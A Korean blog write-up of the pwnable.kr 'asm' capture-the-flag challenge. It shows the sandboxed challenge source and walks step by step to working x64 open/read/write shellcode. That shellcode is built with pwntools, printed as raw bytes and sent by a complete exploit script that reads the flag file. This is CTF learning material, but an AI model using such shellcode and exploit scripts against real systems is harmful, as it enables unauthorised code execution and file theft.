[pwnable.kr] Toddler’s Bottle – asm
how to make shellcodes…
일단 들어가보면 긴 파일 이름을 가진 flag 파일이 있습니다. 가짜 플래그이고 asm_pwn 디렉터리에도 실제로 저런 이름을 가지고 있다고 합니다.
실제 exploit은 nc 0 9026으로 하면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h>
#define LENGTH 128
void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); }
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); }
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000);
alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; }
|
코드는 이렇습니다. stubcode(모든 register를 0으로 초기화) + 사용자가 넣어준 shellcode를 실행하도록 되어있고, 쓸 수 있는 함수는 open, read, write..?
shellcode는 execve 함수를 내부적으로 호출하기 때문에 shell을 띄우는 건 무리가 있을 것 같습니다.
mmap으로 공간을 할당하고 \x90으로 초기화합니다. chroot는 정해준 경로의 파일만 사용할 수 있게 합니다.
일단 원하는 건 flag이기 때문에, 저 긴 이름의 flag를 open한 다음, read로 값을 읽어오고, write로 값을 뿌려주면 될 것 같습니다.
open 함수의 원형은 int open(const char *pathname, int flages, [mode_t mode]); 이렇습니다.
pathname에는 파일 경로를 넣어줘야 하는데, open 하기 전에 read(0(stdin), 주소, len(filename))으로 파일명을 받아와서 주소를 넣어주겠습니다.
flages에는 O_RDONLY를, mode에는 S_IRUSR을 넣겠습니다.
각 10진수, 8진수로 출력했을 때,
0, 0400이 나옵니다.
read 함수의 원형은 ssize_t read(int fd, void *buf, size_t nbytes); 이렇습니다.
fd에는 open으로 파일을 열고 반환된 file descriptor를 넣겠습니다. (함수의 반환값은 rax 레지스터에 있으니, rax를 넣어주면 된다.)
buf에는 flag를 받아올 주소를 넘겨줍니다.
nbytes에는 대충 flag의 길이를 생각해서 100을 넣어주겠습니다.
write 함수의 원형은 ssize_t write (int fd, const void *buf, size_t n) 이렇습니다.
fd에는 모니터에 출력해야 하니 1(stdout)을 넣어주겠습니다.
buf에는 flag를 받아온 주소를 넘겨줍니다.
n도 마찬가지로 flag의 길이를 생각해서 100을 넣어주겠습니다.
그렇게 write 함수로 출력되면 mmap으로 할당된 주소를 \x90으로 초기화했기 때문에 \x90가 나올 때까지 받아오면 됩니다. 그럼 마지막에 \x90이 있어서 안 예쁩니다. \x0a까지 받아줍시다.
시나리오는 file 이름을 올릴 주소를 filename_add, flag를 받아올 주소를 flag_add라고 했을 때,
read(0, filename_add, len(filename)) -> open(filename_add, 0, 0400) -> read(‘rax’, flag_add, 100) -> write(1, flag_add, 100)
이렇게 코드를 만드는 것입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
from pwn import *
filename = "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"
filename_add = 0x41414500 flag_add = 0x41414700
context(arch='amd64', os='linux')
stdin = 0 stdout = 1
print shellcraft.read(stdin, filename_add, len(filename)) print shellcraft.open(filename_add, 0, 0400) print shellcraft.read('rax', flag_add, 100) print shellcraft.write(stdout, flag_add, 100)
print shellcraft.amd64.linux.syscall('SYS_read', stdin, filename_add, len(filename)) print shellcraft.amd64.linux.syscall('SYS_open', filename_add, 0, 0400) print shellcraft.amd64.linux.syscall('SYS_read', 'rax', flag_add, 100) print shellcraft.amd64.linux.syscall('SYS_write', stdout, flag_add, 100) |
저 둘의 차이를 잘 몰라서 둘 다 print 해봤습니다.
비슷하지만, open과 write에서 syscall을 위한 eax 값 설정의 순서 차이가 있었습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
from pwn import *
filename = "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"
filename_add = 0x41414500 flag_add = 0x41414700
context(arch='amd64', os='linux')
stdin = 0 stdout = 1
payload = "" payload += asm(shellcraft.read(stdin, filename_add, len(filename))) payload += asm(shellcraft.open(filename_add, 0, 0400)) payload += asm(shellcraft.read('rax', flag_add, 100)) payload += asm(shellcraft.write(stdout, flag_add, 100))
payload2 = "" payload2 += asm(shellcraft.amd64.linux.syscall('SYS_read', stdin, filename_add, len(filename))) payload2 += asm(shellcraft.amd64.linux.syscall('SYS_open', filename_add, 0, 0400)) payload2 += asm(shellcraft.amd64.linux.syscall('SYS_read', 'rax', flag_add, 100)) payload2 += asm(shellcraft.amd64.linux.syscall('SYS_write', stdout, flag_add, 100))
print payload.encode('hex') print len(payload.encode('hex'+'\n'))
sleep(2) print payload2.encode('hex') print len(payload2.encode('hex')) |
그럼 그 값을 hex로 뽑아내겠습니다.
보시면 진짜 차이가 적습니다. 길이도 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
from pwn import *
s = remote('0.0.0.0', 9026)
filename = "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"
#read(), write(), open() payload = "\x31\xc0\x31\xff\x31\xd2\xb2\xea\xbe\x01\x01\x01\x01\x81\xf6\x01\x44\x40\x40\x0f\x05\xbf\x01\x01\x01\x01\x81\xf7\x01\x44\x40\x40\x31\xd2\xb6\x01\x31\xf6\x6a\x02\x58\x0f\x05\x48\x89\xc7\x31\xc0\x6a\x64\x5a\xbe\x01\x01\x01\x01\x81\xf6\x01\x46\x40\x40\x0f\x05\x6a\x01\x5f\x6a\x64\x5a\xbe\x01\x01\x01\x01\x81\xf6\x01\x46\x40\x40\x6a\x01\x58\x0f\x05"
#SYS_read(), SYS_write(), SYS_open() payload2 = "\x31\xc0\x31\xff\x31\xd2\xb2\xea\xbe\x01\x01\x01\x01\x81\xf6\x01\x44\x40\x40\x0f\x05\x6a\x02\x58\xbf\x01\x01\x01\x01\x81\xf7\x01\x44\x40\x40\x31\xd2\xb6\x01\x31\xf6\x0f\x05\x48\x89\xc7\x31\xc0\x6a\x64\x5a\xbe\x01\x01\x01\x01\x81\xf6\x01\x46\x40\x40\x0f\x05\x6a\x01\x58\x6a\x01\x5f\x6a\x64\x5a\xbe\x01\x01\x01\x01\x81\xf6\x01\x46\x40\x40\x0f\x05"
s.sendafter('shellcode: ', payload) sleep(0.1) s.send(filename) print s.recvuntil('\x0a') |
payload와 payload2 둘 다 이상 없이 잘 먹힙니다.
위에가 payload, 아래가 payload2로 시험해 봤을 때입니다.
'System&Write up > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] Toddler's Bottle - unlink (0) | 2018.03.31 |
---|---|
[pwnable.kr] Toddler's Bottle - memcpy (0) | 2018.02.27 |
[pwnable.kr] Toddler's Bottle - uaf (0) | 2018.01.31 |
[pwnable.kr] Toddler's Bottle - input (0) | 2018.01.20 |
[pwnable.kr] Toddler's Bottle - leg (0) | 2018.01.15 |